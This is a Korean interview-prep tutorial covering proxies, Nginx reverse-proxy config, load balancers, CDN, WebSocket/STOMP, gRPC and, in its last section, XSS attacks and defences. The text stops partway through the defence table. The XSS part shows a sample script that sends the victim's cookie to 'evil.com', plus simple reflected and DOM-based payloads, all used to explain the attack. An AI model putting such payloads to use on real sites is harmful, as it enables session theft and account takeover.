네트워크 인프라와 웹 보안 완벽 가이드: 프록시, 로드밸런서, WebSocket, 보안까지
네트워크 인프라와 웹 보안 완벽 가이드: 프록시, 로드밸런서, WebSocket, 보안까지
TCP/IP 기초 글에서 OSI 7계층, TCP/UDP, 3-way Handshake, DNS를 다루었고, HTTP/REST API 글에서 HTTP 메시지 구조, 캐싱, CORS, REST 설계를 정리했다. 이 글은 그 사이를 채운다 — 클라이언트와 서버 사이에 존재하는 인프라 계층(프록시, 로드밸런서, CDN)과, 실시간 통신(WebSocket, gRPC), 그리고 면접에서 반드시 나오는 웹 보안 공격과 방어를 다룬다.
1. 프록시 서버 (Proxy Server)
1.1 프록시란
프록시는 클라이언트와 서버 사이에서 요청을 대신 전달하는 중간 서버다. “대리인”이라는 뜻 그대로, 직접 통신하는 대신 프록시를 거친다.
1
2
3
4
5
6
7
8
┌──────────────────────────────────────────────────────────────────┐
│ 직접 통신 │
│ Client ────────────────────────────────────────→ Server │
│ │
│ 프록시 경유 │
│ Client ──→ Proxy ──→ Server │
│ Client ←── Proxy ←── Server │
└──────────────────────────────────────────────────────────────────┘
1.2 Forward Proxy vs Reverse Proxy
면접에서 가장 많이 나오는 구분이다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
┌─────────────────────────────────────────────────────────────────────┐
│ Forward Proxy (정방향 프록시) │
├─────────────────────────────────────────────────────────────────────┤
│ │
│ ┌────────┐ │
│ │Client A│──┐ ┌──────────┐ │
│ └────────┘ │ ┌──────────────┐ │ Server X │ │
│ ├──→ │Forward Proxy │──→ └──────────┘ │
│ ┌────────┐ │ │ │ ┌──────────┐ │
│ │Client B│──┘ │ • IP 숨김 │──→ │ Server Y │ │
│ └────────┘ │ • 접근 제어 │ └──────────┘ │
│ │ • 캐싱 │ │
│ └──────────────┘ │
│ │
│ 클라이언트 측에 위치 │
│ 서버는 실제 클라이언트가 누구인지 모름 │
│ │
│ 사용 사례: │
│ • 기업 내부 → 인터넷 접근 시 IP 은닉 │
│ • 유해 사이트 차단 (학교, 기업 네트워크) │
│ • 해외 콘텐츠 접근 (VPN과 유사) │
│ • 웹 스크래핑 시 IP 로테이션 │
├─────────────────────────────────────────────────────────────────────┤
│ Reverse Proxy (역방향 프록시) │
├─────────────────────────────────────────────────────────────────────┤
│ │
│ ┌──────────┐ │
│ ┌────────┐ ┌──────────────┐ ┌→ │ Server 1 │ │
│ │Client A│──┐ │Reverse Proxy │──┤ └──────────┘ │
│ └────────┘ ├──→ │ │ │ ┌──────────┐ │
│ ┌────────┐ │ │ • 로드밸런싱 │──┤ │ Server 2 │ │
│ │Client B│──┘ │ • SSL 종료 │ │ └──────────┘ │
│ └────────┘ │ • 캐싱 │ │ ┌──────────┐ │
│ │ • 보안 │──┘ │ Server 3 │ │
│ └──────────────┘ └──────────┘ │
│ │
│ 서버 측에 위치 │
│ 클라이언트는 실제 서버가 누구인지 모름 │
│ │
│ 사용 사례: │
│ • 로드 밸런싱 (트래픽 분산) │
│ • SSL Termination (SSL 처리를 프록시에서) │
│ • 정적 파일 캐싱 │
│ • DDoS 방어, WAF │
│ • 대표 제품: Nginx, HAProxy, AWS ALB │
└─────────────────────────────────────────────────────────────────────┘
1.3 Nginx의 Reverse Proxy 설정 예시
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# /etc/nginx/conf.d/app.conf
upstream backend_servers {
server 10.0.1.10:8080 weight=3; # 가중치 3
server 10.0.1.11:8080 weight=2; # 가중치 2
server 10.0.1.12:8080 weight=1; # 가중치 1 (트래픽 적게)
server 10.0.1.13:8080 backup; # 나머지 모두 죽었을 때만 사용
}
server {
listen 443 ssl;
server_name api.example.com;
# SSL Termination — 프록시에서 HTTPS 처리
ssl_certificate /etc/ssl/certs/example.crt;
ssl_certificate_key /etc/ssl/private/example.key;
location / {
proxy_pass http://backend_servers;
# 원본 클라이언트 정보 전달
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
# 정적 파일은 Nginx가 직접 서빙 (WAS 부하 감소)
location /static/ {
root /var/www/html;
expires 30d;
add_header Cache-Control "public, immutable";
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌────────────────────────────────────────────────────────────────────┐
│ SSL Termination이란? │
├────────────────────────────────────────────────────────────────────┤
│ │
│ Without SSL Termination: │
│ Client ──HTTPS──→ Server 1 (SSL 처리 + 비즈니스 로직) │
│ Client ──HTTPS──→ Server 2 (SSL 처리 + 비즈니스 로직) │
│ Client ──HTTPS──→ Server 3 (SSL 처리 + 비즈니스 로직) │
│ → 각 서버가 SSL 인증서 관리 + 암복호화 CPU 부담 │
│ │
│ With SSL Termination: │
│ Client ──HTTPS──→ Nginx ──HTTP──→ Server 1 (비즈니스 로직만) │
│ ──HTTP──→ Server 2 (비즈니스 로직만) │
│ ──HTTP──→ Server 3 (비즈니스 로직만) │
│ → SSL 처리는 Nginx 한 곳에서, 인증서도 한 곳에서 관리 │
│ → 내부 네트워크(Nginx ↔ Server)는 HTTP로 통신 (신뢰 구간) │
└────────────────────────────────────────────────────────────────────┘
2. 로드 밸런서 (Load Balancer)
2.1 로드 밸런서란
트래픽을 여러 서버에 균등하게 분산하여 하나의 서버에 부하가 집중되는 것을 방지하는 장치(또는 소프트웨어)다.
1
2
3
4
5
6
7
8
9
10
11
┌────────────────────────────────────────────────────────────────────┐
│ Without Load Balancer With Load Balancer │
│ │
│ 모든 요청 → Server 1 요청 → LB → Server 1 (33%) │
│ (과부하, 장애) → Server 2 (33%) │
│ → Server 3 (33%) │
│ │
│ Server 1 죽으면? → 서비스 중단 Server 1 죽으면? → LB가 감지 │
│ → Server 2, 3으로 자동 전환 │
│ → 서비스 계속 운영 (고가용성) │
└────────────────────────────────────────────────────────────────────┘
2.2 L4 vs L7 로드 밸런서
면접에서 “L4와 L7 로드밸런서의 차이를 설명해주세요”는 매우 자주 나온다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
┌────────────────────────────────────────────────────────────────────────┐
│ L4 vs L7 로드 밸런서 비교 │
├─────────────────────┬──────────────────────┬───────────────────────────┤
│ │ L4 (전송 계층) │ L7 (응용 계층) │
├─────────────────────┼──────────────────────┼───────────────────────────┤
│ 동작 계층 │ TCP/UDP (4계층) │ HTTP/HTTPS (7계층) │
├─────────────────────┼──────────────────────┼───────────────────────────┤
│ 판단 기준 │ IP 주소 + 포트 번호 │ URL, 헤더, 쿠키, 본문 │
├─────────────────────┼──────────────────────┼───────────────────────────┤
│ 패킷 내용 확인 │ ✗ (헤더만 확인) │ ✓ (HTTP 메시지 파싱) │
├─────────────────────┼──────────────────────┼───────────────────────────┤
│ 라우팅 예시 │ 80번 포트 → 웹서버 │ /api/* → API 서버 │
│ │ 3306 포트 → DB │ /static/* → 파일 서버 │
│ │ │ Host: m.* → 모바일 서버 │
├─────────────────────┼──────────────────────┼───────────────────────────┤
│ SSL 처리 │ ✗ (패스스루) │ ✓ (SSL Termination) │
├─────────────────────┼──────────────────────┼───────────────────────────┤
│ 성능 │ 빠름 (패킷 전달만) │ 상대적으로 느림 (파싱) │
├─────────────────────┼──────────────────────┼───────────────────────────┤
│ AWS 서비스 │ NLB (Network LB) │ ALB (Application LB) │
├─────────────────────┼──────────────────────┼───────────────────────────┤
│ 대표 솔루션 │ LVS, HAProxy (TCP) │ Nginx, HAProxy (HTTP) │
│ │ AWS NLB │ AWS ALB, Envoy │
└─────────────────────┴──────────────────────┴───────────────────────────┘
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
┌────────────────────────────────────────────────────────────────────────┐
│ L7 로드밸런서의 콘텐츠 기반 라우팅 │
├────────────────────────────────────────────────────────────────────────┤
│ │
│ Client │
│ │ │
│ │ GET /api/users HTTP/1.1 │
│ │ Host: api.example.com │
│ │ Cookie: region=kr │
│ │ │
│ ▼ │
│ ┌─────────────────────────────────────┐ │
│ │ L7 Load Balancer │ │
│ │ │ │
│ │ Rule 1: /api/* → API 서버 그룹│ │
│ │ Rule 2: /static/* → CDN/파일 서버│ │
│ │ Rule 3: /admin/* → 관리자 서버 │ │
│ │ Rule 4: /health → 200 OK 직접 │ │
│ │ Default: → 웹 서버 그룹 │ │
│ └───┬──────────┬──────────┬───────────┘ │
│ │ │ │ │
│ ▼ ▼ ▼ │
│ ┌───────┐ ┌───────┐ ┌───────┐ │
│ │API 1 │ │API 2 │ │API 3 │ │
│ └───────┘ └───────┘ └───────┘ │
└────────────────────────────────────────────────────────────────────────┘
2.3 로드 밸런싱 알고리즘
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
┌────────────────────────────────────────────────────────────────────────┐
│ 로드 밸런싱 알고리즘 │
├────────────────────────────────────────────────────────────────────────┤
│ │
│ ■ Round Robin (라운드 로빈) │
│ 요청을 순서대로 돌아가며 배분 │
│ 요청1 → S1, 요청2 → S2, 요청3 → S3, 요청4 → S1, ... │
│ 장점: 가장 단순, 서버 성능이 동일할 때 효과적 │
│ 단점: 서버 성능이 다르면 불균형 │
│ │
│ ■ Weighted Round Robin (가중 라운드 로빈) │
│ 서버 성능에 따라 가중치 부여 │
│ S1(weight=5): 5개 요청 처리 │
│ S2(weight=3): 3개 요청 처리 │
│ S3(weight=2): 2개 요청 처리 │
│ 장점: 서버 사양이 다를 때 유용 │
│ │
│ ■ Least Connections (최소 연결) │
│ 현재 활성 커넥션이 가장 적은 서버에 배분 │
│ S1(active=3), S2(active=7), S3(active=2) → S3에 배분 │
│ 장점: 처리 시간이 요청마다 다를 때 효과적 │
│ 단점: 연결 수 추적 오버헤드 │
│ │
│ ■ IP Hash │
│ 클라이언트 IP를 해시하여 항상 같은 서버로 보냄 │
│ hash(client_ip) % server_count = 서버 인덱스 │
│ 장점: 세션 유지 (Sticky Session 효과) │
│ 단점: 서버 추가/제거 시 재배분 발생 │
│ │
│ ■ Least Response Time (최소 응답 시간) │
│ 응답 시간이 가장 짧은 서버에 우선 배분 │
│ 장점: 실시간 서버 상태 반영 │
│ 단점: 응답 시간 측정 오버헤드 │
└────────────────────────────────────────────────────────────────────────┘
2.4 헬스 체크와 Sticky Session
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
┌────────────────────────────────────────────────────────────────────────┐
│ Health Check (헬스 체크) │
├────────────────────────────────────────────────────────────────────────┤
│ │
│ LB가 주기적으로 각 서버에 "살아있어?" 확인 │
│ │
│ ┌─ L4 헬스 체크 ──────────────────────────────────────────┐ │
│ │ TCP 연결 시도 (포트 8080에 SYN 보내기) │ │
│ │ → SYN-ACK 오면 정상, 타임아웃이면 비정상 │ │
│ │ 장점: 빠르고 단순 │ │
│ │ 단점: 애플리케이션은 죽고 포트만 살아있을 수 있음 │ │
│ └──────────────────────────────────────────────────────────┘ │
│ │
│ ┌─ L7 헬스 체크 ──────────────────────────────────────────┐ │
│ │ HTTP GET /health 요청 │ │
│ │ → 200 OK 오면 정상 │ │
│ │ → 500 또는 타임아웃이면 비정상 │ │
│ │ 장점: 애플리케이션 레벨 상태 확인 (DB 연결 등 포함 가능) │ │
│ │ 단점: 약간의 부하 │ │
│ └──────────────────────────────────────────────────────────┘ │
│ │
│ 비정상 감지 시: │
│ → 해당 서버를 풀에서 제거 (트래픽 전송 중단) │
│ → 주기적으로 재확인하여 복구되면 다시 풀에 추가 │
├────────────────────────────────────────────────────────────────────────┤
│ Sticky Session (세션 고정) │
├────────────────────────────────────────────────────────────────────────┤
│ │
│ 같은 클라이언트의 요청을 항상 같은 서버로 보내는 것 │
│ │
│ 구현 방식: │
│ ① 쿠키 기반: Set-Cookie: SERVERID=server1 │
│ → 이후 요청에서 Cookie: SERVERID=server1 확인 │
│ ② IP Hash: 클라이언트 IP 해시 → 항상 같은 서버 │
│ │
│ 필요한 이유: │
│ → 서버에 세션을 저장하는 경우 (In-Memory Session) │
│ → 사용자 A의 세션이 Server1에만 있으면 Server2로 가면 로그아웃 │
│ │
│ 문제점: │
│ → 특정 서버에 부하 집중 가능 │
│ → 서버 장애 시 세션 유실 │
│ │
│ 대안: │
│ → Redis 등 외부 세션 저장소 사용 → Sticky Session 불필요 │
│ → JWT 토큰 기반 인증 → 서버가 상태를 갖지 않음 (Stateless) │
└────────────────────────────────────────────────────────────────────────┘
2.5 Spring Boot에서 X-Forwarded 헤더 처리
Reverse Proxy 뒤에 있으면 클라이언트의 실제 IP를 알 수 없다. X-Forwarded-* 헤더로 전달받는다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// Spring Boot 설정
// application.yml
// server:
// forward-headers-strategy: framework # Spring이 X-Forwarded 헤더 처리
@RestController
public class ClientInfoController {
@GetMapping("/client-info")
public Map<String, String> getClientInfo(HttpServletRequest request) {
// Reverse Proxy 환경에서 실제 클라이언트 IP 가져오기
String clientIp = request.getHeader("X-Forwarded-For");
if (clientIp == null) {
clientIp = request.getRemoteAddr(); // 프록시 없으면 직접
} else {
clientIp = clientIp.split(",")[0].trim(); // 첫 번째가 원본 IP
}
// X-Forwarded-For: client, proxy1, proxy2
// → client가 실제 클라이언트 IP
return Map.of(
"clientIp", clientIp,
"protocol", request.getHeader("X-Forwarded-Proto"), // https
"host", request.getHeader("X-Forwarded-Host") // api.example.com
);
}
}
3. CDN (Content Delivery Network)
3.1 CDN이란
전 세계에 분산 배치된 에지(Edge) 서버를 통해 사용자에게 콘텐츠를 물리적으로 가까운 서버에서 제공하는 네트워크 인프라다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
┌────────────────────────────────────────────────────────────────────────┐
│ CDN 동작 원리 │
├────────────────────────────────────────────────────────────────────────┤
│ │
│ Without CDN: │
│ 한국 사용자 ──────── 10,000km ──────── 미국 Origin 서버 │
│ RTT: ~200ms │
│ │
│ With CDN: │
│ 한국 사용자 ──── 50km ──── 서울 Edge 서버 (캐시된 콘텐츠) │
│ RTT: ~5ms │
│ │
│ ┌─────────────────────────────────────────────────────────┐ │
│ │ Origin Server (미국) │ │
│ │ 원본 콘텐츠 보관 │ │
│ └──────────┬──────────────────┬──────────────┬────────────┘ │
│ │ │ │ │
│ ┌─────▼─────┐ ┌──────▼──────┐ ┌─────▼─────┐ │
│ │ 서울 Edge │ │ 도쿄 Edge │ │ 싱가포르 │ │
│ │ 서버 │ │ 서버 │ │ Edge 서버 │ │
│ └─────┬─────┘ └──────┬──────┘ └─────┬─────┘ │
│ │ │ │ │
│ 한국 사용자 일본 사용자 동남아 사용자 │
│ │
│ 동작 흐름: │
│ ① 사용자가 cdn.example.com/image.jpg 요청 │
│ ② DNS가 가장 가까운 Edge 서버 IP로 응답 (GeoDNS/Anycast) │
│ ③ Edge 서버에 캐시 있으면 → 즉시 응답 (Cache HIT) │
│ ④ Edge 서버에 캐시 없으면 → Origin에 요청 → 응답 캐시 후 전달 │
└────────────────────────────────────────────────────────────────────────┘
3.2 CDN 캐시 무효화
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌────────────────────────────────────────────────────────────────────────┐
│ CDN 캐시 무효화(Invalidation) 전략 │
├────────────────────────────────────────────────────────────────────────┤
│ │
│ ■ TTL 기반 (Time-To-Live) │
│ Cache-Control: max-age=86400 (24시간) │
│ → 24시간 후 자동 만료, Origin에서 다시 가져옴 │
│ → 가장 단순하지만 즉시 갱신 불가 │
│ │
│ ■ 파일명 버저닝 (Cache Busting) │
│ /static/app.js → /static/app.v2.js │
│ /static/style.css → /static/style.a1b2c3.css (해시 기반) │
│ → 파일명이 바뀌므로 CDN이 새 파일로 인식 │
│ → 프론트엔드 빌드 도구(Webpack)가 자동으로 해시 추가 │
│ → 가장 권장되는 방식 │
│ │
│ ■ 수동 퍼지 (Purge) │
│ CDN 관리 콘솔이나 API로 특정 캐시를 강제 삭제 │
│ aws cloudfront create-invalidation --paths "/api/*" │
│ → 전파에 시간이 걸림 (수 초~수 분) │
└────────────────────────────────────────────────────────────────────────┘
4. WebSocket
4.1 WebSocket이란
HTTP는 요청-응답 모델이라 서버가 먼저 클라이언트에 데이터를 보낼 수 없다. WebSocket은 HTTP Upgrade를 통해 전이중(Full-Duplex) 양방향 통신 채널을 여는 프로토콜이다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌────────────────────────────────────────────────────────────────────────┐
│ HTTP vs WebSocket │
├────────────────────────────────────────────────────────────────────────┤
│ │
│ ■ HTTP (반이중, 요청-응답) │
│ Client: "데이터 줘" → Server: "여기 있어" │
│ Client: "또 줘" → Server: "여기 있어" │
│ Client: "새 거 있어?" → Server: "아직 없어" ← 낭비! │
│ Client: "새 거 있어?" → Server: "이제 있어" │
│ │
│ ■ WebSocket (전이중, 양방향) │
│ Client ←──── 연결 수립 (HTTP Upgrade) ────→ Server │
│ Client: "채팅 메시지" → Server │
│ Server → "새 알림" → Client ← 서버가 먼저 보냄! │
│ Server → "실시간 가격" → Client │
│ Client: "구독 해제" → Server │
│ │
│ 연결이 유지되므로 매번 TCP/HTTP 오버헤드 없음 │
└────────────────────────────────────────────────────────────────────────┘
4.2 WebSocket Handshake
WebSocket 연결은 HTTP Upgrade 요청으로 시작된다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
┌────────────────────────────────────────────────────────────────────────┐
│ WebSocket Handshake 과정 │
├────────────────────────────────────────────────────────────────────────┤
│ │
│ 1. 클라이언트 → 서버 (HTTP Upgrade 요청) │
│ ┌──────────────────────────────────────────────────┐ │
│ │ GET /ws/chat HTTP/1.1 │ │
│ │ Host: server.example.com │ │
│ │ Upgrade: websocket ← 프로토콜 전환 │ │
│ │ Connection: Upgrade │ │
│ │ Sec-WebSocket-Key: dGhlIHNhbX... ← 보안 키 │ │
│ │ Sec-WebSocket-Version: 13 ← 버전 │ │
│ │ Sec-WebSocket-Protocol: chat ← 서브 프로토콜│ │
│ └──────────────────────────────────────────────────┘ │
│ │
│ 2. 서버 → 클라이언트 (101 Switching Protocols) │
│ ┌──────────────────────────────────────────────────┐ │
│ │ HTTP/1.1 101 Switching Protocols │ │
│ │ Upgrade: websocket │ │
│ │ Connection: Upgrade │ │
│ │ Sec-WebSocket-Accept: s3pPLMBiTx... ← 키 검증 │ │
│ └──────────────────────────────────────────────────┘ │
│ │
│ 3. 이후부터는 HTTP가 아닌 WebSocket 프레임으로 통신 │
│ │
│ ┌────────┐ WebSocket Frames ┌────────┐ │
│ │ Client │ ◄══════════════════════════════════►│ Server │ │
│ │ │ 텍스트/바이너리/ping/pong/close │ │ │
│ └────────┘ └────────┘ │
│ │
│ Sec-WebSocket-Accept 계산: │
│ SHA1(Sec-WebSocket-Key + "258EAFA5-E914-47DA-95CA-C5AB0DC85B11") │
│ → Base64 인코딩 │
│ → 서버가 WebSocket을 이해한다는 증거 │
└────────────────────────────────────────────────────────────────────────┘
4.3 WebSocket vs SSE vs Polling
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
┌─────────────────────┬──────────────┬──────────────┬──────────────────┐
│ │ Polling │ SSE │ WebSocket │
├─────────────────────┼──────────────┼──────────────┼──────────────────┤
│ 방향 │ 단방향 │ 단방향 │ 양방향 │
│ │ (Client→Srv) │ (Server→Clt) │ (양쪽 모두) │
├─────────────────────┼──────────────┼──────────────┼──────────────────┤
│ 프로토콜 │ HTTP │ HTTP │ WebSocket (ws://)│
├─────────────────────┼──────────────┼──────────────┼──────────────────┤
│ 연결 유지 │ 매번 새 연결 │ 단방향 유지 │ 양방향 유지 │
├─────────────────────┼──────────────┼──────────────┼──────────────────┤
│ 실시간성 │ 낮음 │ 높음 │ 가장 높음 │
│ │ (주기에 의존) │ (서버 push) │ (즉시 양방향) │
├─────────────────────┼──────────────┼──────────────┼──────────────────┤
│ 오버헤드 │ 높음 │ 낮음 │ 가장 낮음 │
│ │ (매번 HTTP) │ (HTTP 스트림) │ (프레임 헤더 2B) │
├─────────────────────┼──────────────┼──────────────┼──────────────────┤
│ 자동 재연결 │ 해당 없음 │ ✓ (브라우저) │ ✗ (직접 구현) │
├─────────────────────┼──────────────┼──────────────┼──────────────────┤
│ 사용 사례 │ 호환성 중시 │ 알림, 피드 │ 채팅, 게임, │
│ │ 단순 갱신 │ 주가 스트리밍 │ 실시간 협업 │
├─────────────────────┼──────────────┼──────────────┼──────────────────┤
│ Spring 지원 │ @Scheduled │ SseEmitter │ @MessageMapping │
│ │ + RestTemplate│ │ + STOMP │
└─────────────────────┴──────────────┴──────────────┴──────────────────┘
4.4 Spring WebSocket + STOMP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
// 1. WebSocket 설정
@Configuration
@EnableWebSocketMessageBroker
public class WebSocketConfig implements WebSocketMessageBrokerConfigurer {
@Override
public void configureMessageBroker(MessageBrokerRegistry config) {
// 서버 → 클라이언트 구독 경로 (메시지 브로커)
config.enableSimpleBroker("/topic", "/queue");
// topic: 1:N 브로드캐스트 (채팅방 전체)
// queue: 1:1 개인 메시지
// 클라이언트 → 서버 전송 경로 접두어
config.setApplicationDestinationPrefixes("/app");
}
@Override
public void registerStompEndpoints(StompEndpointRegistry registry) {
// WebSocket 연결 엔드포인트
registry.addEndpoint("/ws")
.setAllowedOriginPatterns("*")
.withSockJS(); // WebSocket 미지원 브라우저 폴백
}
}
// 2. 메시지 핸들러
@Controller
public class ChatController {
@MessageMapping("/chat.send") // 클라이언트가 /app/chat.send로 보내면
@SendTo("/topic/chatroom") // /topic/chatroom 구독자 전원에게 전달
public ChatMessage sendMessage(ChatMessage message) {
return message;
}
@MessageMapping("/chat.join")
@SendTo("/topic/chatroom")
public ChatMessage join(ChatMessage message, SimpMessageHeaderAccessor headerAccessor) {
headerAccessor.getSessionAttributes().put("username", message.getSender());
message.setContent(message.getSender() + "님이 입장했습니다.");
return message;
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
┌────────────────────────────────────────────────────────────────────────┐
│ STOMP (Simple Text Oriented Messaging Protocol) 메시지 흐름 │
├────────────────────────────────────────────────────────────────────────┤
│ │
│ Client A Server Client B │
│ (발신자) (브로커) (수신자) │
│ │ │ │ │
│ │ CONNECT │ │ │
│ │─────────────────────→│ │ │
│ │ CONNECTED │ │ │
│ │←─────────────────────│ │ │
│ │ │ SUBSCRIBE │ │
│ │ │ /topic/chatroom │ │
│ │ │←─────────────────────│ │
│ │ │ │ │
│ │ SEND │ │ │
│ │ dest: /app/chat.send│ │ │
│ │ body: "안녕하세요" │ │ │
│ │─────────────────────→│ │ │
│ │ │ MESSAGE │ │
│ │ │ dest: /topic/chatroom│ │
│ │ │ body: "안녕하세요" │ │
│ │ │─────────────────────→│ │
│ │ │ │ │
│ │ ← 본인도 수신 │ │ │
│ │←─────────────────────│ │ │
└────────────────────────────────────────────────────────────────────────┘
5. gRPC
5.1 gRPC란
Google이 만든 고성능 RPC(Remote Procedure Call) 프레임워크다. HTTP/2 위에서 동작하며, Protocol Buffers로 직렬화한다. MSA 환경에서 서비스 간 통신에 많이 사용된다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌────────────────────────────────────────────────────────────────────────┐
│ REST vs gRPC 비교 │
├──────────────────┬────────────────────┬────────────────────────────────┤
│ │ REST │ gRPC │
├──────────────────┼────────────────────┼────────────────────────────────┤
│ 프로토콜 │ HTTP/1.1 (주로) │ HTTP/2 (필수) │
├──────────────────┼────────────────────┼────────────────────────────────┤
│ 데이터 형식 │ JSON (텍스트) │ Protocol Buffers (바이너리) │
├──────────────────┼────────────────────┼────────────────────────────────┤
│ 직렬화 속도 │ 느림 (파싱 필요) │ 빠름 (~10배) │
├──────────────────┼────────────────────┼────────────────────────────────┤
│ 메시지 크기 │ 큼 │ 작음 (~1/3) │
├──────────────────┼────────────────────┼────────────────────────────────┤
│ 스트리밍 │ 제한적 │ 4가지 패턴 지원 │
├──────────────────┼────────────────────┼────────────────────────────────┤
│ 코드 생성 │ 선택적 (OpenAPI) │ 필수 (.proto → 코드) │
├──────────────────┼────────────────────┼────────────────────────────────┤
│ 브라우저 지원 │ ✓ (네이티브) │ △ (gRPC-Web 필요) │
├──────────────────┼────────────────────┼────────────────────────────────┤
│ 사용처 │ 외부 API (공개) │ 내부 서비스 간 통신 │
│ │ 클라이언트-서버 │ MSA 백엔드 ↔ 백엔드 │
└──────────────────┴────────────────────┴────────────────────────────────┘
5.2 gRPC 통신 패턴
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
┌────────────────────────────────────────────────────────────────────────┐
│ gRPC 4가지 통신 패턴 │
├────────────────────────────────────────────────────────────────────────┤
│ │
│ ■ Unary (단순 요청-응답) │
│ Client ──── Request ────→ Server │
│ Client ←─── Response ←── Server │
│ → REST와 동일한 패턴 │
│ → 일반적인 CRUD에 사용 │
│ │
│ ■ Server Streaming (서버 스트리밍) │
│ Client ──── Request ────→ Server │
│ Client ←─── Response 1 ── Server │
│ Client ←─── Response 2 ── Server │
│ Client ←─── Response N ── Server │
│ → 대용량 데이터 조회, 실시간 피드 │
│ │
│ ■ Client Streaming (클라이언트 스트리밍) │
│ Client ──── Request 1 ──→ Server │
│ Client ──── Request 2 ──→ Server │
│ Client ──── Request N ──→ Server │
│ Client ←─── Response ←── Server │
│ → 파일 업로드, 센서 데이터 전송 │
│ │
│ ■ Bidirectional Streaming (양방향 스트리밍) │
│ Client ←═══════════════════→ Server │
│ 양쪽이 독립적으로 메시지 전송 │
│ → 채팅, 실시간 게임 │
└────────────────────────────────────────────────────────────────────────┘
5.3 Protocol Buffers 예시
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// user.proto — 인터페이스 정의
syntax = "proto3";
package user;
service UserService {
rpc GetUser (GetUserRequest) returns (UserResponse); // Unary
rpc ListUsers (ListUsersRequest) returns (stream UserResponse); // Server Streaming
}
message GetUserRequest {
int64 id = 1; // 필드 번호 (이름이 아닌 번호로 직렬화)
}
message UserResponse {
int64 id = 1;
string name = 2;
string email = 3;
int32 age = 4;
}
message ListUsersRequest {
int32 page = 1;
int32 size = 2;
}
1
2
3
4
필드 번호로 직렬화하기 때문에:
• JSON: {"id":1,"name":"홍길동","email":"hong@test.com","age":25} → 57 bytes
• Protobuf: 08 01 12 09 ED99 8D... 1A 0E 68 6F 6E 67... → ~20 bytes
→ 약 1/3 크기, 파싱 없이 바로 읽기 가능
6. 웹 보안 공격과 방어
면접에서 “웹 보안 공격에 대해 아는 대로 설명해주세요”는 매우 빈번하게 나온다.
6.1 XSS (Cross-Site Scripting)
공격자가 웹 페이지에 악성 스크립트를 삽입하여 다른 사용자의 브라우저에서 실행시키는 공격이다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
┌────────────────────────────────────────────────────────────────────────┐
│ XSS 공격 유형 │
├────────────────────────────────────────────────────────────────────────┤
│ │
│ ■ Stored XSS (저장형) — 가장 위험 │
│ ┌──────────────────────────────────────────────────────────────┐ │
│ │ 1. 공격자가 게시판에 악성 스크립트 작성 │ │
│ │ 제목: "꿀팁 공유합니다" │ │
│ │ 내용: <script> │ │
│ │ fetch('https://evil.com/steal?cookie=' │ │
│ │ + document.cookie) │ │
│ │ </script> │ │
│ │ │ │
│ │ 2. 서버가 DB에 저장 │ │
│ │ │ │
│ │ 3. 피해자가 게시글 조회 │ │
│ │ → 서버가 DB에서 내용 읽어서 HTML에 포함하여 응답 │ │
│ │ → 피해자 브라우저에서 스크립트 실행 │ │
│ │ → 피해자의 쿠키(세션ID)가 공격자 서버로 전송 │ │
│ │ → 공격자가 피해자 계정 탈취 │ │
│ └──────────────────────────────────────────────────────────────┘ │
│ │
│ ■ Reflected XSS (반사형) │
│ ┌──────────────────────────────────────────────────────────────┐ │
│ │ 공격자가 URL에 스크립트를 포함시켜 피해자에게 전송 │ │
│ │ https://example.com/search?q=<script>alert('xss')</script> │ │
│ │ → 서버가 검색어를 그대로 HTML에 반영하면 실행됨 │ │
│ └──────────────────────────────────────────────────────────────┘ │
│ │
│ ■ DOM-based XSS │
│ ┌──────────────────────────────────────────────────────────────┐ │
│ │ 서버를 거치지 않고, 클라이언트 JavaScript가 DOM을 조작할 때 │ │
│ │ document.getElementById('output').innerHTML = location.hash; │ │
│ │ URL: https://example.com/#<img src=x onerror=alert(1)> │ │
│ └──────────────────────────────────────────────────────────────┘ │
└────────────────────────────────────────────────────────────────────────┘
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
┌────────────────────────────────────────────────────────────────────────┐
│ XSS 방어 전략 │
├────────────────────────────────────────────────────────────────────────┤
│ │
│ ① 출력 시 이스케이프 (가장 기본) │
│ < → < > → > & → & " → " │
│ → <script> → <script> (텍스트로 표시, 실행 안 됨) │
│ │
